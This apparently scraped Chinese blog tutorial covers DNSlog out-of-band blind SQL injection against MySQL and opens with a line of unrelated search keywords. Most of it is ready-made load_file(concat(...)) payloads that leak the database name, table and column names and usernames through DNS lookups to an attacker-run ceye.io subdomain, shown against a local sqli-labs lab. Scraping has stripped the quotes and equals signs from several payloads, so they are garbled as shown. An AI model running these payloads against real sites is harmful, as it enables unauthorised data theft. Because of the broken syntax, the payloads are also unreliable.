做美妆网站名称,wordpress 视频 广告插件,网站应急响应机制建设情况,泰安招聘网最新招聘信息兼职招聘dnslog盲注dnslog注入原理DNSlog工具什么情况下使用dnslog注入#xff1f;Mysql DNSlog原理图DNSlog盲注利用条件DNSlog盲注操作方式实战演练查询当前数据库名#xff1a;查询当前数据库的第一个表名#xff1a;查询第users表一个列名#xff1a;查询users表的username列的…
dnslog盲注dnslog注入原理DNSlog工具什么情况下使用dnslog注入Mysql DNSlog原理图DNSlog盲注利用条件DNSlog盲注操作方式实战演练查询当前数据库名查询当前数据库的第一个表名查询第users表一个列名查询users表的username列的数据需要注意的点dnslog注入原理
通过子查询将内容拼接到域名内让load_file()去访问共享文件访问的域名被记录 此时变为显错注入,将盲注变显错注入,读取远程共享文件通过拼接出函数做查询,拼接到域名中访问时将访问服务器记录后查看日志
DNSlog工具
如果有自己的服务器和域名可以自建一个这样的平台直接使用BugScan团队开源的工具搭建即可 https://github.com/BugScanTeam/DNSLog 另外我们也可以使用在线平台 http://ceye.io http://www.dnslog.cn
什么情况下使用dnslog注入
大家在渗透测试的时候可能会遇到一下这些情况 1挖到一个有SQL盲注的站点可是用sqlmap跑需要频繁请求最后导致ip被ban 2发现疑似命令注入的洞但是目标站点什么也不显示无法确认是不是有洞 总之就是目标不让信息显示出来如果能发送请求那么就可以尝试咱这个办法——用DNSlog来获取回显 1SQL注入中的盲注 2XSS盲打 3无回显的命令执行 4无回显的SSRF 5无回显的XXEBlind XXE
Mysql DNSlog原理图 DNSlog盲注利用条件
mysql.ini中secure_file_priv必须为空 1当secure_file_priv为null不允许导入导出 2当secure_file_priv为/tmp导入导出只能在/tmp目录下。 3当secure_file_priv为空则不作限制允许导入导出注意NULL不是我们要的空NULL和空的类型不一样
DNSlog盲注操作方式
Payload1 下面展示一些 内联代码片。
?Id1’and load_file(concat(\\\\,(select database()),.c4d3hg.ceye.io\\sql))--相应的更换 select database()查询语句便可以实现DNS外带的回显注入其中1ilizz.dnslog.cn为ceye.io平台给每个账号的昵称 查询当前数据库
and load_file(concat(\\\\,(select database()),.c4d3hg.ceye.io\\sql))--//xtftm5.ceye.io根据ceye平台给你的域名更改\sql是域名目录随意即可select database()换成sql注入payload即可 查询表名
and load_file(concat(\\\\,(select table_name from information_schema.tables where table_schemasecuritylimit 0,1),.c4d3hg.ceye.io\\sql))--查询列名
and load_file(concat(\\\\,(select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1),.c4d3hg.ceye.io\\sql))--查询数据
and load_file(concat(\\\\,(select username from users limit 0,1),.c4d3hg.ceye.io\\sql))--Payload2
and (select load_file(concat(\\\\,(select database()),.c4d3hg.ceye.io\\aaa)))#原理跟上面差不多
实战演练
Sqllab的第9关 这里就要借用一个平台http://ceye.io
查询当前数据库名
http://127.0.0.1/sqllab/Less-9/?id1 and load_file(concat(\\\\,(select database()),.c4d3hg.ceye.io\\sql))--回显数据
查询当前数据库的第一个表名
http://127.0.0.1/sqllab/Less-9/?id1 and load_file(concat(\\\\,(select table_name from information_schema.tables where table_schemasecuritylimit 0,1),.c4d3hg.ceye.io\\sql))--可以看到这里成返回了第一个表的名字 依次类推可以推出users表
查询第users表一个列名
http://127.0.0.1/sqllab/Less-9/?id1 and load_file(concat(\\\\,(select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1),.c4d3hg.ceye.io\\sql))--查询users表的username列的数据
http://127.0.0.1/sqllab/Less-9/?id1 and load_file(concat(\\\\,(select username from users limit 0,1),.c4d3hg.ceye.io\\sql))--需要注意的点
1.查询当前用户时,因为结果中有符号使用dnslog注入时需要使用hex函数进行转码再将查询到的hex转码后的数据解码即可如下
如果使用group_concat函数进行快读查询也同样需要hex转码利用如下
http://127.0.0.1/sqllab/Less-9/?id1and load_file(concat(\\\\,(select hex(group_concat(table_name)) from information_schema.tables where table_schemasecurity),.c4d3hg.ceye.io\\sql))--查询到的是hex编码的结果